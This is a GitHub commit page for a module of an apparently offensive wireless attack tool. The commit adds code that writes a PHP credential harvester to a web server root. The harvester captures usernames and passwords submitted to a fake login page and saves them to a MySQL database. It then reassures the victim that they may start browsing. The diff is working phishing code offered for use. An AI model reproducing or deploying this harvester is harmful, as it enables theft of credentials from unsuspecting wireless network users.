Skip to content

Commit

Permalink
Forgot to add get cred functin
Browse files Browse the repository at this point in the history
I added get credentials section.
  • Loading branch information
entropy1337 authored Jul 16, 2016
1 parent 08b8080 commit 23eead8
Showing 1 changed file with 30 additions and 0 deletions.
30 changes: 30 additions & 0 deletions Modules/InfernalWirelessAttack.py
Original file line number Diff line number Diff line change
Expand Up @@ -97,6 +97,36 @@ def modifyContent(self, e):
def get_login_page():

#
import db_connect_creds

username, password = db_connect_creds.read_creds()

getcredsphp = '''
<?php
$con=mysqli_connect("localhost","%s","%s","wpa_crack");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
// escape variables for security
$firstname = mysqli_real_escape_string($con, $_POST['username']);
$lastname = mysqli_real_escape_string($con, $_POST['password']);
$sql="INSERT INTO content (key1, key2)
VALUES ('$firstname', '$lastname')";
if (!mysqli_query($con,$sql)) {
die('Error: ' . mysqli_error($con));
}
echo "Now you may start browsing Internet";
//header('Location: http://google.com');
mysqli_close($con);
?> ''' %(username, password)
tmpfile = open('/var/www/html/getcreds.php','w')
tmpfile.write(getcredsphp)
tmpfile.close()


httplib.HTTPConnection.debuglevel = 1
Expand Down

0 comments on commit 23eead8

Please sign in to comment.